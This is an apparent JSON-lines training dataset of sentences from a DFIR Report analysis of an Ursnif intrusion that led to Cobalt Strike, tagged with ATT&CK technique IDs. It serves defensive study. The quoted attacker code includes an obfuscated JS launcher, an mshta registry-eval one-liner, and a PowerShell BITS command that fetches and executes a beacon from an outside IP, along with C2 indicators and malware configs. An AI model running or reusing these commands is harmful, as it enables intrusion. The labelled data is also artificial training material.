{"sentence": "File Deletion T1112 – Modify Registry T1012 – Query Registry T1083 – File and Directory Discovery T1027.002 – Obfuscated Files or Information: Software Packing T1082 – System Information Discovery T1490 – Inhibit System Recovery T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Unwrapping Ursnifs Gifts -", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The DFIR Report url: https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ In late August 2022, we investigated an incident involving Ursnif malware, which resulted in Cobalt Strike being deployed.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This was followed by the threat actors moving laterally throughout the environment using an admin account.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The Ursnif malware family (also commonly referred to as Gozi or ISFB) is one of the oldest banking trojans still active today.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "It has an extensive past of code forks and evolutions that has lead to several active variants in the last 5 years including Dreambot, IAP, RM2, RM3 and most recently, LDR4.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "For this report, we have referred to the malware as Ursnif for simplicity, however we also recommend reading Mandiant’s article on LDR4.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Case Summary In this intrusion, a malicious ISO file was delivered to a user which contained Ursnif malware.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The malware displayed an interesting execution flow, which included using a renamed copy of rundll32.", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once executed, the malware conducted automatic discovery on the beachhead host, as we have observed with other loaders such as IcedID.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The malware also established persistence on the host with the creation of a registry run key.", "labels": ["T1547.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Approximately 4 days after the initial infection, new activity on the host provided a clear distinction of a threat actor performing manual actions (hands on keyboard).", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor used a Background Intelligent Transfer Service (BITS) job to download a Cobalt Strike beacon, and then used the beacon for subsequent actions.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor first ran some initial discovery on the host using built-in Windows utilities like ipconfig, systeminfo, net, and ping.", "labels": ["T1016", "T1082"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shortly afterwards, the threat actor injected into various processes and then proceeded to access lsass memory on the host to extract credentials.", "labels": ["T1003.001", "T1055"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Using the credentials extracted from memory, the threat actors began to move laterally.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "They targeted a domain controller and used Impacket’s wmiexec.py to execute code on the remote host.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This included executing both a msi installer for the RMM tools Atera and Splashtop, as well as a Cobalt Strike executable beacon.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "These files were transferred to the domain controller over SMB.", "labels": ["T1570"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "After connecting to the Cobalt Strike beacon on the domain controller, the threat actor executed another round of discovery tasks and dumped lsass memory on the domain controller.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Finally, they dropped a script named adcomp.bat which executed a PowerShell command to collect data on computers in the Windows domain.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The following day, there was a short check-in on the beachhead host from a Cobalt Strike beacon, no other activity occurred until near the end of the day.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "At that time, the threat actor became active by initiating a proxied RDP connection via the Cobalt Strike beacon to the domain controller.", "labels": ["T1021.001", "T1090"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "From there, the threat actor began connecting to various hosts across the network.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "One host of interest was one of the backup servers, which was logged into, the state of backups were checked and running processes were reviewed before exiting the session.", "labels": ["T1057"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor was later evicted from the network.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The Cobalt Strike server in this case was added to our feed on July 18, 2022, over 2 months before it was used in this case.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, and event logs including Sysmon under our Security Researcher and Organization services.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Timeline Analysis and reporting completed by @_pete_0, @svch0st and UC1.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Initial Access In this case, the Ursnif malware was delivered using a very familiar technique of being contained within an ISO file.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The DFIR Report has previously reported on several incidents that involved the tactic of delivering malicious flies using ISO files: As we have previously highlighted, the Event Log Microsoft-Windows-VHDMP-Operational.evtx contains high confidence evidence when users mount ISO files.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "We recommend looking for these events (especially Event ID’s 1, 12 & 25) in your environment and checking for anomalies.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "In this case, the user had saved the file 3488164.iso to the their downloads folder and mounted it.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once mounted, the new drive contained a LNK file 6570872.lnk and hidden folder “me”.", "labels": ["T1564.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "If we parse this LNK file with LECmd (by Eric Zimmerman), it highlights the execution path and the icon it appears as: The contents of hidden folder “me”, included several files and folders that were used for the execution of Ursnif.", "labels": ["T1564.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Of interest, the folder included a legitimate copy of rundll32.exe (renamed to 123.com).", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Summary of the files found in 3488164.iso (a detailed break down of these can be found in Execution): File Name Purpose 6570872.lnk LNK file that executes alsoOne.bat me/by Empty folder me/here Empty folder me/123.com Renamed legitimate version of rundll32.exe me/alsoOne.bat Batch script to run canWell.js with specific arguments me/canWell.js Reverses argument strings and executes tslt.db with 123.com me/itslt.db Ursnif DLL or.jpg Image not used.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Execution Once the user had mounted the ISO and the LNK file was executed by the user, the complex execution flow started.", "labels": ["T1204.002"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Ursnif Malware Highlighted in Initial Access, the LNK file would execute a batch script alsoOne.bat .", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This script called a JavaScript file canWell.js in the same directory and provided a number of strings as arguments. alsoOne.bat set %params%=hello me\\canWell.js hello cexe lldnur revreSretsigeRllD canWell.js /** WhnldGh */ function reverseString(str) { var splitString = str.split(\"\"); var reverseArray = splitString.reverse(); var joinArray = reverseArray.join(\"\"); return joinArray; } function ar(id) { r = WScript.Arguments(id); return r; } var sh = WScript.CreateObject(\"WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shell\"); sh[reverseString(ar(1))](\"me\\\\123.com me/itsIt.db,\"+reverseString(a The JS file was then executed with wscript.exe and used the provided command line arguments, which created and executed the following command using WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shell.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Exec(): me/123.com me/itsIt.db,DllRegisterServer Using the SRUM database, we were able to determine that the custom rundll32.exe binary downloaded approximately 0.4 MB of data.", "labels": ["T1218.011"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once the malware was executed, the parent instance of explorer launched MSHTA with the following command: \"C:\\Windows\\System32\\mshta.exe\" \"about:<hta:application><script>Cxak='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cxak).regread('HKCU\\\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\472A62F9-FA62-1196-3C6B-CED530CFE2D9\\\\\\ActiveDevice'));if(!window.flag)close()</script>\" This oneliner created a new ActiveX object to eval() the content stored in the registry key in the users registry hive.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The content of the value “ActiveDevice”: The payload used another ActiveX object to run a PowerShell command.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This command created additional aliases of common default PowerShell aliases gp (Get-ItemProperty) and iex (Invoke-Expression).", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "These two new aliases were used to get and execute the content in another registry value “MemoryJunk”: Ahgvof=new ActiveXObject('WScript.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Shell');Ahgvof.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Run('powershell new-alias -name qirlbtfhgo -value gp; new-alias -name kvikpt -value iex; kvikpt ([System.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Encoding]::ASCII.GetString((qirlbtfhgo \"HKCU:\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\472A62F9-FA62-1196-3C6B-CED530CFE2D9\").MemoryJunk))',0,0)", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "; Analyst Note: The names of the registry values changed when we ran the payload in a sandbox during analysis, and hence suspected to be generated at random at execution.", "labels": ["T1112"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The last registry key was used to store additional PowerShell code.", "labels": ["T1112"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This script called a combination of QueueUserAPC, GetCurrentThreadId, OpenThread, and VirtualAlloc to perform process injection of shellcode stored in Base64.", "labels": ["T1027", "T1055", "T1106"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "When Add-Type cmdlet is executed, the C# compiler csc.exe is invoked by PowerShell to compile this class definition, which results in the creation of temporary files in %APPDATA%\\Local\\Temp.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "/noconfig /fullpaths", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "@\"C:\\Users\\<REDACTED>\\AppData\\Local\\Temp\\npfdesjp\\npfdesjp.cmdline\" Finally, a unique command spawned from the parent explorer.exe process that was called pause.exe with multiple arguments, which appeared to not provide any additional functionality.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"C:\\Windows\\syswow64\\cmd.exe\" /C pause dll mail, , A sigma rule for this cmdline can be found in the Detections section of this report.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "At this point in time, less than a minute of time has elapsed since the user first opened the malware.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Once the malware was established on the host, there was limited malicious activity, until around 3 days later.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "That is when we began to observe evidence indicative of “hands-on-keyboard” activity.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Cobalt Strike An instance of cmd.exe was launched through explorer.exe which ran the following command: powershell.exe -nop -c \"start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\\'", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'hxxp://193.201.9.199:80/a’ -Destination $d; $t =", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "[IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "| wait-job | Receive-Job\" Analyst Note: Ursnif has been known to have VNC-like capabilities.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "It is possible this explorer.exe ➝ cmd.exe session was through a VNC session.", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This PowerShell command started a BITS job to download a Cobalt Strike beacon from 193.201.9[.]199 and saved it with a random name to %TEMP%.", "labels": ["T1105"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "It then read the file into a variable, and deleted it before executing content with IEX.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The event log Microsoft-Windows-Bits-Client%254Operational.evtx corroborated this activity: The activity following this event demonstrated a clear distinction of the threat actor performing discovery manually.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Persistence Once the foothold had been achieved, after execution of Ursnif on the beachhead host, persistence was achieved by creating a ‘Run’ key named ManagerText which was configured to execute a LNK file which executed a PowerShell script.", "labels": ["T1547.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Credential Access We observed a process created by Cobalt Strike accessing lsass.exe.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The GrantedAccess code of 0x1010 is a known indicator of such tools as Mimikatz.", "labels": ["T1003.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This was observed on both the beachhead host and a domain controller.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "LogName=Microsoft-Windows-Sysmon/Operational EventCode=10 EventType=4 ComputerName=<REDACTED> User=SYSTEM Sid=S-1-5-18 SidType=1 SourceName=Microsoft-Windows-Sysmon Type=Information RecordNumber=765707 Keywords=None TaskCategory=Process accessed (rule: ProcessAccess) OpCode=Info Message=Process accessed: RuleName: technique_id=T1003,technique_name=Credential Dumping UtcTime: <REDACTED> SourceProcessGUID: {aaadb608-97b2-630c-6750-000000000400} SourceProcessId: 4768 SourceThreadId: 4248 SourceImage: C:\\Windows\\system32\\rundll32.exe TargetProcessGUID: {aaadb608-45a2-62fc-0c00-000000000400} TargetProcessId: 672 TargetImage: C:\\Windows\\system32\\lsass.exe", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "GrantedAccess: 0x1010 CallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+9fc24|C:\\Windows\\System32\\KERNELBASE.dll+20d0e|UNKNOWN(000002AA74CFD95C) Discovery Ursnif related discovery As we have observed in other malware, Ursnif ran a number of automated discovery commands to gain information about the environment.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The following commands were executed and their standard output was redirected to append to a file in the user’s %APPDATA%\\Local\\Temp\\ cmd /C", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"wmic computersystem get domain |more >", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Users\\<REDACTED>\\AppData\\Local\\Temp\\BD2C.bin1\" cmd /C", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"systeminfo.exe >", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net view >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"nslookup 127.0.0.1 >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"tasklist.exe /SVC >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"driverquery.exe >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >>", "labels": ["T1012"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net config workstation >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"nltest /domain_trusts /all_trusts >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net view /all /domain", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "\"net view /all >>", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Users\\<REDACTED>\\AppData\\Local\\Temp\\BD2C.bin1\" Manual discovery Once the threat actor had Cobalt Strike running on the beachhead host, they ran the following commands: whoami whoami /groups time ipconfig /all systeminfo The threat actor quickly took interest in a support account.", "labels": ["T1016", "T1082"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This account belonged to the Domain Admin group.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "net user <REDACTED>", "labels": ["T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The threat actor also used a batch script to collect a list of all computer objects on the domain using C:\\Windows\\system32\\cmd.exe /C adcomp.bat which contained the PowerShell command: powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address >> log2.txt During the final actions taken by the threat actors before eviction, after completing RDP connections to various hosts on the network, the threat actors checked running processes on the accessed hosts via taskmanager, which were started via their interactive RDP session as noted by the /4 command line argument.", "labels": ["T1021.001", "T1057", "T1059.003"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\taskmgr.exe /4 Lateral Movement WMI was used to pivot to a domain controller on the network.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The actor leveraged Impacket’s wmiexec.py to execute commands with a semi-interactive shell, most likely using credentials gathered by the previous LSASS access.", "labels": ["T1003.001", "T1047", "T1083"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The commands executed included directory traversal, host discovery, and execution of tools on the DC.", "labels": ["T1083"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "A breakdown of the parent and child processes invoked: The command can be broken down as follows: ‘Q’ indicates turn off echo – no response.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "‘C’ indicates to stop after command execution.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The 127.0.01 and ADMIN$ indicates C:\\Windows.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Output is achieved via the parameter ‘2>&1’, to redirect errors and output to one file: This command line closely resembles the code within the wmiexec.py as part of the Impacket tool maintained by Fortra.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "As Impacket interacts with remote endpoints via WMI over TCP via DCERPC, its possible to inspect network level packets: The use of Impacket by threat actors has been recently detailed by the US CERT in alert AA22-277A – Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization.", "labels": ["T1005", "T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The Impacket process hierarchy in this case can be visualized as: At the network level, commands are issued by DCOM/RPC port 135, with responses by SMB using port 445.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "We can observe a number of WMI requests via DCERPC from one endpoint to a target endpoint based on the ports.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Correlating the network activity to the host activity confirms that the ‘Powershell.exe’ process initiated the WMI requests.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The destination port is within the ephemeral port range 49152–65535, which is for short-lived, time based, communications RFC 6335.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "13Cubed (Richard Davis) also released an amazing resource to investigate Impacket related incidents here: https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf One of the observed commands invoked via WMI was ‘firefox.exe’.", "labels": ["T1047"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "This was dropped on the DC and spawned a number of processes and invoked a number of hands-on commands.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The process generated a significant volume of network connections to 193.201.9[.]199, averaging ~6K requests per hour, equating to >150K connections throughout the duration of the intrusion.", "labels": ["T1021.001"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "RDP was also used by the threat actor on the final two days of the intrusion to connect to various hosts from a domain controller proxying the traffic via the firefox.exe Cobalt Strike beacon. Command and Control Ursnif Ursnif was seen using the following domains and IPs: 5.42.199.83superliner.top 62.173.149.7 internetlines.in 31.41.44.97 superstarts.top 31.41.44.27 superlinez.top 31.41.44.27 internetlined.com 208.91.197.91 denterdrigx.com: 187.190.48.135 210.92.250.133 189.143.170.233 201.103.222.246 151.251.24.5 190.147.189.122 115.88.24.202 211.40.39.251 187.195.146.2 186.182.55.44 222.232.238.243 211.119.84.111 51.211.212.188 203.91.116.53 115.88.24.203 190.117.75.91 181.197.121.228 190.167.61.79 109.102.255.230 211.119.84.112 190.107.133.19 185.95.186.58 175.120.254.9 46.194.108.30 190.225.159.63 190.140.74.43 187.156.56.52 195.158.3.162 138.36.3.134 109.98.58.98 24.232.210.245 222.236.49.123 175.126.109.15 124.109.61.160 95.107.163.44 93.152.141.65 5.204.145.65 116.121.62.237 31.166.129.162 222.236.49.124 211.171.233.129 211.171.233.126 211.53.230.67 196.200.111.5 190.219.54.242 190.167.100.154 110.14.121.125 58.235.189.192 37.34.248.24 110.14.121.123 179.53.93.16 175.119.10.231 211.59.14.90 188.48.64.249 187.232.150.225 186.7.85.71 148.255.20.4 91.139.196.113 41.41.255.235 31.167.236.174 189.165.2.131 1.248.122.240 We also observed several modules for Ursnif downloaded from the following IP:", "labels": ["T1021.001", "T1090"], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "193.106.191.186 3db94cf953886aeb630f1ae616a2ec25 cook32.rar d99cc31f3415a1337e57b8289ac5011e cook64.rar a1f634f177f73f112b5356b8ee04ad19 stilak32.rar 8ea6ad3b1acb9e7b2e64d08411af3c9a stilak64.rar 0c5862717f00f28473c39b9cba2953f4 vnc32.rar ce77f575cc4406b76c68475cb3693e14 vnc64.rar JoeSandbox reported this sample having the following configuration: { \"RSA Public Key\": \"WzgHg0uTPZvhLtnG19qpIk+GmHzcoxkfTefSu6gst5n3mxnOBivzR4MH4a6Ax7hZ5fgcuPGt3NKKPbYTwmknjD2zYXaAp3+wR0kAZI+LVG1CUiDgK2lhHKV91eobjLR/Z/RtHa+MZM10+zZoBGCk+VjMy7gWkzoCrrhs6/Bft/lYT9NzAGBQ4ZZgJTkXW4tVgEQiGmoc7Ta1/NqrbaQBEciYTW7E4egMKHQeGNrjd94u5PZha7GgX7aseTe7/68QIz2hc7Xl2gtUGQYYVqKgGpKjKrQT5jpYbcjLE+VoRjcWucFAPAfIryWH1A4T+PbO5+eHGGCIM/fAuYU/58JZn0HUmtKm9wHYCUJ/uGotKAI=\", \"c2_domain\": [ \"superliner.top\", \"superlinez.top\", \"internetlined.com\", \"internetlines.in\", \"medialists.su\", \"medialists.ru\", \"mediawagi.info\", \"mediawagi.ru\", \"5.42.199.83\", \"denterdrigx.com\", \"и\", \"digserchx.at\" ], \"ip_check_url\": [ \"http://ipinfo.io/ip\", \"http://curlmyip.net\" ], \"serpent_key\": \"Jv1GYc8A8hCBIeVD\", \"tor32_dll\": \"file://c:\\\\test\\\\test32.dll\", \"tor64_dll\": \"file://c:\\\\test\\\\tor64.dll\", \"server\": \"50\", \"sleep_time\": \"1\", \"SetWaitableTimer_value(CRC_CONFIGTIMEOUT)\": \"60\", \"time_value\": \"60\", \"SetWaitableTimer_value(CRC_TASKTIMEOUT)\": \"60\", \"SetWaitableTimer_value(CRC_SENDTIMEOUT)\": \"300\", \"SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)\": \"60\", \"not_use(CRC_BCTIMEOUT)\": \"10\", \"botnet\": \"3000\", \"SetWaitableTimer_value\": \"1\" } Pivoting on domains registered in WHOIS with the email [email protected] or organization Rus Lak, reveals many similar domains as seen in this intrusion.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Cobalt Strike The following Cobalt Strike C2 server was observed: 193.201.9.199:443 JA3:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "72a589da586844d7f0818ce684948eea JA3s: f176ba63b4d68e576b5ba345bec2c7b7 Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c] Not Before: 2015/05/20 18:26:24 UTC Not After: 2025/05/17 18:26:24 UTC Issuer Org: Subject Common: Subject Org:", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Public Algorithm: rsaEncryption The following Cobalt Strike configuration was observed: { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"pipename\": null, \"dns_beacon\": { \"put_metadata\": null, \"get_TXT\": null, \"get_AAAA\": null, \"get_A\": null, \"beacon\": null, \"maxdns\": null, \"dns_sleep\": null, \"put_output\": null, \"dns_idle\": null }, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\" }, \"stage\": { \"cleanup\": \"false\" }, \"process_inject\": { \"stub\": \"IiuPJ9vfuo3dVZ7son6mSA==\", \"transform_x64\": [], \"transform_x86\": [], \"startrwx\": \"true\", \"min_alloc\": \"0\", \"userwx\": \"true\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"VirtualAllocEx\" }, \"uses_cookies\": \"true\", \"http_post_chunk\": \"0\", \"ssh\": { \"privatekey\": null, \"username\": null, \"password\": null, \"port\": null, \"hostname\": null }, \"useragent_header\": null, \"maxgetsize\": \"1048576\", \"proxy\": { \"behavior\": \"Use IE settings\", \"password\": null, \"username\": null, \"type\": null }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4yIjJb5CtlrbKHjzP1oD/1AQsj6EKlEMFIKtakLx5+VybrMYE+dDdkDteHmVX0AeFyw001FyQVlt1B+OSNPRscKI5sh1L/ZdwnrMy6S6nNbQ5N5hls6k2kgNO5nQ7QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"443\", \"hostname\": \"193.201.9.199\" }, \"beacontype\": [ \"HTTPS\" ], \"kill_date\": null, \"license_id\": \"1580103824\", \"jitter\": \"0\", \"sleeptime\": \"60000\", \"http_get\": { \"server\": { \"output\": [ \"print\" ] }, \"client\": { \"metadata\": [], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/__utm.gif\" }, \"cfg_caution\": 